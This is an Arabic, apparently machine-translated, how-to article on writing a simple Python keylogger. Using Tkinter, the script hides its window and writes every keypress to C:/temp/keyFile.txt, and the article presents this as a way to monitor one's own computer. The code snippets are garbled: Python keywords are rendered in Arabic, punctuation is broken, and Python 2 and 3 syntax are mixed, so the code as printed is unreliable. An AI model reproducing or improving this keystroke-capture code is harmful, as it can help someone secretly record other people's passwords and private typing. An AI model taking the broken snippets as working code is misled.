كيفية إنشاء Keylogger باستخدام Python

امرأة على الكمبيوتر تنظر من فوق كتفها

التقط ضغطات المفاتيح واحفظها في ملف.

حقوق الصورة: جوبيتيريماجيس / فوتوس.كوم / جيتي إيماجيس

يمكنك إنشاء برنامج keylogger باستخدام Python لالتقاط ضغطات المفاتيح المكتوبة من خلال لوحة مفاتيح الكمبيوتر. يتم حفظ ضغطات المفاتيح في ملف نصي ، ويسجل كل المدخلات. يمكنك استخدام مسجل المفاتيح لمراقبة النشاط على جهاز الكمبيوتر الخاص بك.

الخطوة 1

قم بتشغيل IDLE ، وانقر فوق قائمة "ملف" وحدد "نافذة جديدة" لبدء تشغيل نافذة جديدة. اضغط على Ctrl و S لتشغيل نافذة "حفظ باسم". استخدم "getKeyLogger" كاسم ملف وانقر على "حفظ".

فيديو اليوم

الخطوة 2

أضف السطر التالي من التعليمات البرمجية لاستيراد مساحة الاسم "Tkinter" وحدد مسار الملف الذي تريد استخدامه للتسجيل:

استيراد Tkinter كـ tk myFile = open ("C: /temp/keyFile.txt"، "w")

الخطوه 3

انسخ الكود التالي والصقه لحفظ كل ضغطة مفتاح في الملف:

def keypress (event): if event.keysym == 'Escape': main.destroy () keyPressed = event.char myFile.write (keyPressed)

الخطوة 4

أضف الكود التالي للسماح للمستخدم بمعرفة أنه يمكنه البدء في الكتابة ، وأنه يمكنه الضغط على Esc لإنهاء البرنامج:

رئيسي = tk. Tk () اطبع "اضغط على أي مفتاح (مفتاح Escape للخروج):" main.bind_all (''، keypress) main.withdraw () main.mainloop () myFile.close ()

الخطوة الخامسة

انقر فوق الزر ابدأ "Windows" واكتب "cmd" في مربع "البحث في البرامج والملفات". اضغط على Enter لفتح موجه الأوامر. انتقل إلى "C: \ Python"واكتب" python getKeyLogger. "اضغط على Enter لتشغيل البرنامج. انتقل إلى "C: / temp /" وانقر نقرًا مزدوجًا فوق "keyFile.txt" لعرض بيانات ضغط المفاتيح.